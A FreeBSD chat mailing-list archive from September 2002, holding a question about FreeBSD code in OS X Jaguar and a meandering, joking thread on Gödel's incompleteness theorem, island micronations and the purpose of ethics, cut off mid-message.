From owner-freebsd-chat Sun Sep 1 0:21:27 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 73BF337B400 for ; Sun, 1 Sep 2002 00:21:24 -0700 (PDT) Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id 272F143E65 for ; Sun, 1 Sep 2002 00:21:24 -0700 (PDT) (envelope-from lomifeh@earthlink.net) Received: from [68.39.204.200] (bgp587257bgs.jdover01.nj.comcast.net [68.39.204.200]) by mtaout03.icomcast.net (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 13 2002)) with ESMTP id <0H1R00B900FMDJ@mtaout03.icomcast.net> for freebsd-chat@freebsd.org; Sun, 01 Sep 2002 03:21:22 -0400 (EDT) Date: Sun, 01 Sep 2002 03:21:21 -0400 From: Lawrence Sica Subject: How much in OS X userland is actually FreeBSD? To: freebsd-chat@freebsd.org Message-id: MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT User-Agent: Microsoft-Entourage/10.1.0.2006 Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Hey ppl, Quick question. Is there a good source to tell exactly what is FreeBSD and what is mutated in osx, specifically jaguar. I just installed it and it uses xinetd to my dismay. On a site note the www.linuxisforbitches.com rant is hilarious, and I agree with some of the points. But I was wondering if anyone knows of a definitive source of other possible gotchas and changes? If there is none maybe I'll post one. TIA, Larry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 2: 9: 2 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AD35B37B400 for ; Sun, 1 Sep 2002 02:08:59 -0700 (PDT) Received: from scaup.mail.pas.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49]) by mx1.FreeBSD.org (Postfix) with ESMTP id 561AC43E4A for ; Sun, 1 Sep 2002 02:08:59 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0024.cvx40-bradley.dialup.earthlink.net ([216.244.42.24] helo=mindspring.com) by scaup.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17lQiv-0002WI-00; Sun, 01 Sep 2002 02:08:49 -0700 Message-ID: <3D71D8E6.71248CEB@mindspring.com> Date: Sun, 01 Sep 2002 02:07:50 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: David Schultz Cc: Dave Hayes , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200208310608.g7V68h128080@hokkshideh2.jetcafe.org> <3D707754.1981EA36@mindspring.com> <20020831100938.GA262@HAL9000.homeunix.com> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org David Schultz wrote: > Thus spake Terry Lambert : > > If it's not provable, then it's not true. All things which are > > true are, at least eventually, provable. > = > ``This statement cannot be proved.'' You should read G=F6del's > Incompleteness Theorem. ;-) (And yes, I took great pains to > get the umlaut correct this time.) > = > Do *you* believe in the Axiom of Choice? Sure. We're not talking about correctness, here, we're talking about truth. 8-). I think it was Grog who pointed out the =F6/oe equivalency, last time... -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 5: 7:26 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C97E437B400 for ; Sun, 1 Sep 2002 05:07:23 -0700 (PDT) Received: from HAL9000.homeunix.com (12-232-220-15.client.attbi.com [12.232.220.15]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3639043E81 for ; Sun, 1 Sep 2002 05:07:23 -0700 (PDT) (envelope-from dschultz@uclink.berkeley.edu) Received: from HAL9000.homeunix.com (localhost [127.0.0.1]) by HAL9000.homeunix.com (8.12.5/8.12.5) with ESMTP id g81C8Elp001311; Sun, 1 Sep 2002 05:08:14 -0700 (PDT) (envelope-from dschultz@uclink.berkeley.edu) Received: (from das@localhost) by HAL9000.homeunix.com (8.12.5/8.12.5/Submit) id g81C8DqR001310; Sun, 1 Sep 2002 05:08:13 -0700 (PDT) (envelope-from dschultz@uclink.berkeley.edu) Date: Sun, 1 Sep 2002 05:08:13 -0700 From: David Schultz To: Terry Lambert Cc: Dave Hayes , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-ID: <20020901120813.GA1227@HAL9000.homeunix.com> Mail-Followup-To: Terry Lambert , Dave Hayes , chat@FreeBSD.ORG References: <200208310608.g7V68h128080@hokkshideh2.jetcafe.org> <3D707754.1981EA36@mindspring.com> <20020831100938.GA262@HAL9000.homeunix.com> <3D71D8E6.71248CEB@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii:iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <3D71D8E6.71248CEB@mindspring.com> Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Thus spake Terry Lambert : > David Schultz wrote: > > Thus spake Terry Lambert : > > > If it's not provable, then it's not true. All things which are > > > true are, at least eventually, provable. > > > > ``This statement cannot be proved.'' You should read Gödel's > > Incompleteness Theorem. ;-) (And yes, I took great pains to > > get the umlaut correct this time.) [...] > We're not talking about correctness, here, we're talking about > truth. 8-). So was Gödel. I'm not sure what you're trying to say---but can you prove it? If I discussed the correctness of such a proof, wouldn't that automatically make it wrong? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 5:42: 6 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 803B937B401 for ; Sun, 1 Sep 2002 05:42:01 -0700 (PDT) Received: from goose.mail.pas.earthlink.net (goose.mail.pas.earthlink.net [207.217.120.18]) by mx1.FreeBSD.org (Postfix) with ESMTP id 14B8643E6A for ; Sun, 1 Sep 2002 05:42:01 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0004.cvx21-bradley.dialup.earthlink.net ([209.179.192.4] helo=mindspring.com) by goose.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17lU3D-0007ZJ-00; Sun, 01 Sep 2002 05:41:59 -0700 Message-ID: <3D720ADA.8A385D7E@mindspring.com> Date: Sun, 01 Sep 2002 05:40:58 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: David Schultz Cc: Dave Hayes , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200208310608.g7V68h128080@hokkshideh2.jetcafe.org> <3D707754.1981EA36@mindspring.com> <20020831100938.GA262@HAL9000.homeunix.com> <3D71D8E6.71248CEB@mindspring.com> <20020901120813.GA1227@HAL9000.homeunix.com> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org David Schultz wrote: > > > > If it's not provable, then it's not true. All things which are > > > > true are, at least eventually, provable. > > > > > > ``This statement cannot be proved.'' You should read G=F6del's > > > Incompleteness Theorem. ;-) (And yes, I took great pains to > > > get the umlaut correct this time.) > [...] > > We're not talking about correctness, here, we're talking about > > truth. 8-). > = > So was G=F6del. I'm not sure what you're trying to say---but can > you prove it? If I discussed the correctness of such a proof, > wouldn't that automatically make it wrong? A moderately good reference: http://www.myrkul.org/recent/godel.htm -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 6:39:51 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AE0E237B405 for ; Sun, 1 Sep 2002 06:39:48 -0700 (PDT) Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id 71ACB43E84 for ; Sun, 1 Sep 2002 06:39:42 -0700 (PDT) (envelope-from keramida@ceid.upatras.gr) Received: from hades.hell.gr (patr530-b120.otenet.gr [195.167.121.248]) by mailsrv.otenet.gr (8.12.4/8.12.4) with ESMTP id g81Ddc9M002965; Sun, 1 Sep 2002 16:39:40 +0300 (EEST) Received: from hades.hell.gr (hades [127.0.0.1]) by hades.hell.gr (8.12.6/8.12.6) with ESMTP id g81DdbHc017252; Sun, 1 Sep 2002 16:39:37 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Received: (from charon@localhost) by hades.hell.gr (8.12.6/8.12.6/Submit) id g81DSZtg016998; Sun, 1 Sep 2002 16:28:35 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Date: Sun, 1 Sep 2002 16:28:35 +0300 From: Giorgos Keramidas To: David Schultz Cc: Terry Lambert , chat@FreeBSD.ORG Subject: Proofs, correctness, and other boring stuff (was: Why did evolution fail?) Message-ID: <20020901132835.GC16183@hades.hell.gr> References: <200208310608.g7V68h128080@hokkshideh2.jetcafe.org> <3D707754.1981EA36@mindspring.com> <20020831100938.GA262@HAL9000.homeunix.com> <3D71D8E6.71248CEB@mindspring.com> <20020901120813.GA1227@HAL9000.homeunix.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-7 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20020901120813.GA1227@HAL9000.homeunix.com> Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On 2002-09-01 05:08 +0000, David Schultz wrote: > Thus spake Terry Lambert : > > We're not talking about correctness, here, we're talking about > > truth. 8-). > > So was Gödel. I'm not sure what you're trying to say---but can > you prove it? If I discussed the correctness of such a proof, > wouldn't that automatically make it wrong? No, it wouldn't. A correct proof, whose correctness is under discussion and doubted, can still be proven correct. Not by its very self, mind you, but by a meta-proof [repeat forever]. - Giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 8: 4:28 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0F36637B400 for ; Sun, 1 Sep 2002 08:04:26 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8718343E6A for ; Sun, 1 Sep 2002 08:04:25 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g81F2H142697; Sun, 1 Sep 2002 08:02:17 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209011502.g81F2H142697@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Giorgos Keramidas Cc: David Schultz , Terry Lambert , chat@FreeBSD.ORG Subject: Re: Proofs, correctness, and other boring stuff (was: Why did evolution fail?) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 01 Sep 2002 08:02:12 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Giorgos Keramidas writes: > A correct proof, whose correctness is under > discussion and doubted, can still be proven correct. Not by its very > self, mind you, but by a meta-proof [repeat forever]. Holding up two mirrors accomplishes the same thing. ;) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< A well developed sense of the dramatic has values beyond what people usually imagine. One of these is to realize the limitations of a sense of the dramatic. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 8: 5:46 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E5B8537B400 for ; Sun, 1 Sep 2002 08:05:44 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8877C43E72 for ; Sun, 1 Sep 2002 08:05:44 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g81F5H142770; Sun, 1 Sep 2002 08:05:17 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209011505.g81F5H142770@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: David Schultz , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Date: Sun, 01 Sep 2002 08:05:12 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > David Schultz wrote: =2E.. >> > We're not talking about correctness, here, we're talking about >> > truth. 8-). >> = >> So was G=F6del. I'm not sure what you're trying to say---but can >> you prove it? If I discussed the correctness of such a proof, >> wouldn't that automatically make it wrong? > > A moderately good reference: > http://www.myrkul.org/recent/godel.htm What is it about you, Sir Lambert, that causes you to answer a question by pointiny to someone else's words? ;) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org = >>> The opinions expressed above are entirely my own <<< One of the big differences between questions and answers is that a question may be asked at almost any time, but its answer may only come at a special time and place. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 8:11: 4 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7A61237B400 for ; Sun, 1 Sep 2002 08:11:02 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1C76543E6A for ; Sun, 1 Sep 2002 08:11:02 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g81FAu142813; Sun, 1 Sep 2002 08:10:56 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209011510.g81FAu142813@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: Dominic Marks , Kris Kirby , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 01 Sep 2002 08:10:51 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > But it's a much less useful example for the purposes of this > discussion, since once the prject started building on the atol > to the point that it had something sticking out of the water > full time, the United States Government paid the Tongan Navy > to sail out and plant the Tongan flag on it, claiming the > land for Tonga. This does expose the fallacy of the assertion to "go find an island somewhere if you don't like it"...by -your- own rules even. ;) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< I was to learn later in life that we tend to meet any new situation by reorganizing; and a wonderful method it can be for creating the illusion of progress while producing confusion, inefficiency, and demoralization." - Petronius Arbiter (circa A.D. 60) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 8:19:20 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 77F2F37B400 for ; Sun, 1 Sep 2002 08:19:18 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 09CB443E3B for ; Sun, 1 Sep 2002 08:19:18 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g81FJE142877; Sun, 1 Sep 2002 08:19:14 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209011519.g81FJE142877@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: Dominic Marks , Kris Kirby , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 01 Sep 2002 08:19:09 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Hmm, this oceania project has an interesting constitution. If we were able to live long enough to see a government (as proposed in this constitution) form and evolve, I daresay this would be an excellent example of how current human organizations turn sour no matter what the intent at the beginning. Man this is good reading. Thanks Terry. ;) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< Knowledge is something you can use. Belief is something that uses you. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 8:24:42 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 22D0137B400 for ; Sun, 1 Sep 2002 08:24:41 -0700 (PDT) Received: from snipe.mail.pas.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62]) by mx1.FreeBSD.org (Postfix) with ESMTP id C0A3843E65 for ; Sun, 1 Sep 2002 08:24:40 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0091.cvx21-bradley.dialup.earthlink.net ([209.179.192.91] helo=mindspring.com) by snipe.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17lWad-0003Re-00; Sun, 01 Sep 2002 08:24:39 -0700 Message-ID: <3D7230FC.30D0124A@mindspring.com> Date: Sun, 01 Sep 2002 08:23:40 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: David Schultz , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209011505.g81F5H142770@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > Terry Lambert writes: > > A moderately good reference: > > http://www.myrkul.org/recent/godel.htm > > What is it about you, Sir Lambert, that causes you to answer a > question by pointiny to someone else's words? ;) Innate modesty? 8-) 8-). The nature of language itself? Software engineers are genetically lazy, and reuse things? I vote for the last one, because I am too lazy to read back further... "If I have seen no further than others, it's because I've been standing on the shoulders of prone midgets..." -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 8:33:28 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 512B337B400 for ; Sun, 1 Sep 2002 08:33:26 -0700 (PDT) Received: from snipe.mail.pas.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62]) by mx1.FreeBSD.org (Postfix) with ESMTP id 877E843E42 for ; Sun, 1 Sep 2002 08:33:26 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0091.cvx21-bradley.dialup.earthlink.net ([209.179.192.91] helo=mindspring.com) by snipe.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17lWj2-0004op-00; Sun, 01 Sep 2002 08:33:21 -0700 Message-ID: <3D723305.72BDBFE2@mindspring.com> Date: Sun, 01 Sep 2002 08:32:21 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: Dominic Marks , Kris Kirby , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209011510.g81FAu142813@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > Terry Lambert writes: > > But it's a much less useful example for the purposes of this > > discussion, since once the prject started building on the atol > > to the point that it had something sticking out of the water > > full time, the United States Government paid the Tongan Navy > > to sail out and plant the Tongan flag on it, claiming the > > land for Tonga. > > This does expose the fallacy of the assertion to "go find an > island somewhere if you don't like it"...by -your- own rules > even. ;) Not really; it just changes the order of purchase for the items you put on your shopping list. I'd like to think I would have been more clever, and called it a "ship at anchor", and paid my Liberian taxes like a good ship owner, until I could have fended off the Tongan navy. But there are hundreds of other possible approaches to tackling the problem, which boils down to giving an authority what they ask for, instead of what they want, and relying on a large autonomic feedback delay. I presume you know "The Barometer Story"? -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 8:35:54 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 81DC337B400 for ; Sun, 1 Sep 2002 08:35:51 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1CE9E43E4A for ; Sun, 1 Sep 2002 08:35:51 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g81FZD143065; Sun, 1 Sep 2002 08:35:13 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209011535.g81FZD143065@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: Dave Hayes , David Schultz , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 01 Sep 2002 08:35:08 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> Terry Lambert writes: >> > A moderately good reference: >> > http://www.myrkul.org/recent/godel.htm >> >> What is it about you, Sir Lambert, that causes you to answer a >> question by pointiny to someone else's words? ;) > > Innate modesty? 8-) 8-). That one's impossible, because it is immodest to point to one's modesty. ;) > Software engineers are genetically lazy, and reuse things? I suppose that you'll next assert that a motivated programmer is -not- negative evolutionary pressure... ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< Before enlightenment, mountains are mountains and rivers are rivers. With enlightenment, mountains are no longer mountains and rivers are no longer rivers. After enlightenment, mountains are again mountains and rivers are again rivers. - Zen saying To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 9:13:57 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1FE9237B400 for ; Sun, 1 Sep 2002 09:13:55 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9627243E42 for ; Sun, 1 Sep 2002 09:13:54 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g81GDn143323; Sun, 1 Sep 2002 09:13:50 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209011613.g81GDn143323@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: Dominic Marks , Kris Kirby , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 01 Sep 2002 09:13:44 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> Terry Lambert writes: >> > But it's a much less useful example for the purposes of this >> > discussion, since once the prject started building on the atol >> > to the point that it had something sticking out of the water >> > full time, the United States Government paid the Tongan Navy >> > to sail out and plant the Tongan flag on it, claiming the >> > land for Tonga. >> >> This does expose the fallacy of the assertion to "go find an >> island somewhere if you don't like it"...by -your- own rules >> even. ;) > > Not really; it just changes the order of purchase for the items > you put on your shopping list. There's a case of rapidly diminishing space on this planet for the people that are on it. I'd say that existing "societies" are aware of this fact, and use that as a justifier to make sure that no one can go find their own island. > I presume you know "The Barometer Story"? You'd be presuming wrong. ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< The universal body of reality is so subtle that you do not hear it when you deliberately listen for it, and you do not see it when you look at it. As for the pure knowledge that has no teacher, how can it be attained by thought or study? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 9:25:52 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 58C9537B400 for ; Sun, 1 Sep 2002 09:25:50 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id DA25143E42 for ; Sun, 1 Sep 2002 09:25:49 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g81GPl143514; Sun, 1 Sep 2002 09:25:47 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209011625.g81GPl143514@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 01 Sep 2002 09:25:42 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> Terry Lambert writes: >> > "What is the meaning of life?" 8-). >> > I don't claim to have an answer to that question. >> >> That is because you refuse to look inside...that would >> be..."Catatonic". ;) > > Not having an answer for myself, and not claiming to have an > answer are two different things. Ah, semantical obfustication. I get it. Most people would write such a sentence and mean the former, even though the sentence technically means the latter. >> > In reality, there's no avoiding externalizing ethics; >> >> Actually, that is a goal along the evolutionary timeline. > > Congradulations: goal achieved. On to the next milestone! More semantical obfustication, this time my fault. The "goal" is to "avoid externalizing ethics". It's like trying to externalize your digestive system. This will hurt you and and offend others. >> > Why does there have to be a purpose? >> >> Because that's the only thing our brains understand. > > And yet here I am, with my brain questioning the validity... You can't question this unless it is in doubt, 